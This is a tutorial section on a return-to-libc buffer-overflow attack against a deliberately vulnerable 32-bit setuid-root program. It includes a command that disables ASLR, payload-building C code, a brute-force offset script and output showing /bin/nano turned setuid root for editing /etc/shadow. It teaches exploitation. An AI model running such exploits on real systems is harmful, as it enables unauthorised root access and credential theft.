return-to-libc attack
Things have hopefully been enlightening up to this point, although probably a bit disappointing after reading the defenses section. That said, none of the protections listed are perfect. In this section we will look at the scenario in which the stack has been marked non-executable (and the heap, and anywhere else considered unusual).
ASLR does need to be turned off, however, so be sure to execute the following as root, if you haven't already:
echo 0 > /proc/sys/kernel/randomize_va_space
We start with a small cop-out. As was revealed in an earlier section, x86_64 Linux systems use registers to pass many if not all of their arguments. It is considerably more difficult (though still not impossible) to get values into registers than it is onto the stack, as one might guess. So for this section we're going to deal with programs compiled for a 32-bit environment. When running on this architecture, Linux uses the stack to pass parameters instead of registers. We can still use our 64-bit machine (it is backwards compatible, after all), we'll just need to use the "-m32" compiler flag.
The program
To start with, let's assume we have the following vulnerable program, and that it runs setuid root. It also has stack execution disabled. You can get the program here. It simply counts the occurrences of a specified character in a file.
[root@localhost tmp]# gcc -m32 -fno-stack-protector -o count count.c [root@localhost tmp]# chmod 4755 count
So as an unprivileged user, we can run the program and it works fine (but remember, the program itself is running as root)...
$ /tmp/count ./count.c a ./count.c contains 18 occurrences of a $ dd if=/dev/urandom of=bigfile bs=1 count=2048 2048+0 records in 2048+0 records out 2048 bytes (2.0 kB) copied, 0.0238982 s, 85.7 kB/s $ /tmp/count ./bigfile a Segmentation fault $
So if you look at the source you can see once again there is a mistake leaving the program vulnerable to an overflow attack. The buffer is 512 bytes, while the fread() call is willing to read up to 1024 bytes.
The payload
Okay then, let's start with our chmod() code from the last attack.
#include <sys/stat.h> int main() { chmod("/bin/nano", 04755); }
If we compile this and disassemble main, we end up with this...
$ gcc -m32 -o mychmod mychmod.c $ gdb mychmod GNU gdb (GDB) Fedora (7.0.1-44.fc12) Reading symbols from /home/turkstra/mychmod...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 <main+0>: push %ebp 0x080483c5 <main+1>: mov %esp,%ebp 0x080483c7 <main+3>: and $0xfffffff0,%esp 0x080483ca <main+6>: sub $0x10,%esp 0x080483cd <main+9>: movl $0x9c9,0x4(%esp) 0x080483d5 <main+17>: movl $0x80484b4,(%esp) 0x080483dc <main+24>: call 0x80482f4 <chmod@plt> 0x080483e1 <main+29>: leave 0x080483e2 <main+30>: ret End of assembler dump. (gdb) break main Breakpoint 1 at 0x80483c7 (gdb) run Starting program /home/turkstra/mychmod Breakpoint 1, 0x080483c7 in main () (gdb) print chmod $1 = {<text variable, no debug info>} 0x6f37f0 <chmod>
This should look familiar, and relatively straightforward. We can see the arguments for chmod being pushed in reverse order onto the stack, followed by a call to chmod. Actually, since we didn't use -static, the call is indirect. It goes through a jump table, which allows the shared library to be loaded anywhere in memory without having to recompile the main program. The loader simply sets up the correct values in the jump table on startup. We can find the location of the real chmod by printing the symbol after the program has started. It ends up being 0x6f37f0.
Our payload seems simple this time - we just need the two arguments, the file mode and the address of the string "/bin/nano", followed by the address of the function to call (chmod). Except this time we cannot use our little trick of pushing "/bin/nano" onto the stack (we can't execute any instructions of our own).
Well, one way to get around this particularly if the program is being run locally is to place the string into an environment variable. Suppose we have this simple program:
#include <stdio.h> #include <string.h> int main(int argc, char *argv[], char *envp[]) { int i = 0; while (envp[i]) { if (strcmp(envp[i], "BAH=/bin/nano") == 0) printf("Found BAH=\"/bin/nano\" at %p\n", envp[i]); i++; } return 0; }
We can then set an environment variable containing "/bin/nano" and run it...
$ export BAH="/bin/nano" $ gcc -m32 -o findnano findnano.c $ ./findnano Found BAH="/bin/nano" at 0xffffdf12
And it should roughly be at that location for every program that runs. Roughly because depending on the environment variables (which include the name of the binary and its path) it may shift around a few bytes. Cool. Well, now we have everything we need. We just need to develop a file that delivers our payload. Take a look at gen.c. The parts of interest are below...
/* Garbage to fill the buffer */ memset(buf, 0x61, 512); /* Local vars */ memset(buf+512, 0x01, 28); /* Return address */ addr = (long) buf + 512 + 28; *((long *)addr) = 0x6f37f0; /* Args */ addr = (long) buf + 512 + 28 + 8; *((long *)addr) = 0xffffdf10 + atoi(argv[2]); addr = (long) addr + 4; *((long *)addr) = 0x9c9;
You can see that we set the return address to be the starting address of chmod, and then proceed to place the arguments onto the stack. But how did we find those offsets? Easy, if we open count in gdb and disassemble main, we can see in the prelude...
0x08048484 <main+0>: push %ebp 0x08048485 <main+1>: mov %esp,%ebp 0x08048487 <main+3>: and $0xfffffff0,%esp 0x0804848a <main+6>: sub $0x220,%esp
The "sub $0x220,%esp" allocates space for our local variables. 0x220 in decimal is 544. The somewhat complicated catch here is that the "and $0xfffffff0,%esp" instruction above is masking off the lower 16 bits of ESP (corresponding to 8 bytes) to save the return address and base pointer. So, we actually want our return address to be at an offset of 540. Recall when the function returns, ESP will be restored to its original value, so the arguments to chmod must be located 548 bytes above the buffer.
If you didn't know any of this, you could still figure it out. It would just take some experimenting to discover the proper values. A helpful way to see what is going on is to recompile count.c and include the stack walking function from earlier. Using that you can play around until the stack looks correct, and then go from there.
The exploit
As was mentioned earlier, the "/bin/nano" string will shift around depending on the environment variables. That's why our program above allows us to specify an offset to add to its address. At this point it is probably worthwhile to make sure that what we have works. We can use strace to run the count program (it will run unprivileged) and see if we at least end up invoking chmod...
$ gcc -o gen gen.c $ ./gen bah 0 # Generate the payload $ strace ./count bah a [...] write(1, "Found 16843009 occurrences of \1\n", 32Found 16843009 occurrences of ?) = 32 chmod("QTLIB=/usr/lib64/qt-3.3/lib", 04711) = -1 ENOENT (No such file or directory) --- SIGSEGV (Segmentation fault) @ 0 (0) --- +++ killed by SIGSEGV +++ Segmentation fault $
Excellent. It invoked chmod. The first argument is obviously wrong, but this is where the guesswork comes in. We can write a script that will generate payloads with various addresses and run them against the vulnerable program...
#! /bin/bash for I in {0..60}; do ./gen bah ${I} ./count bah a ls -l /bin/nano | grep rws > /dev/null if [[ $? == 0 ]]; then echo "offset was ${I}" break; fi done
This will try up to 60 different addresses for "/bin/nano"
$ ls -l /bin/nano -rwxr-xr-x. 1 root root 177328 2009-11-18 12:54 /bin/nano $ ./runit Found 16843009 occurrences of $ ls -l /bin/nano ./runit: line 3: 16775 Segmentation fault ./count bah a [...] Found 16843009 occurrences of $ ls -l /bin/nano ./runit: line 3: 16896 Segmentation fault ./count bah a offset was 41 $ ls -l /bin/nano -rws--x--x. 1 root root 177328 2009-11-18 12:54 /bin/nano
And as you can see, 60 is more than enough. Once again we are now able to write to /etc/shadow using nano. Mission accomplished.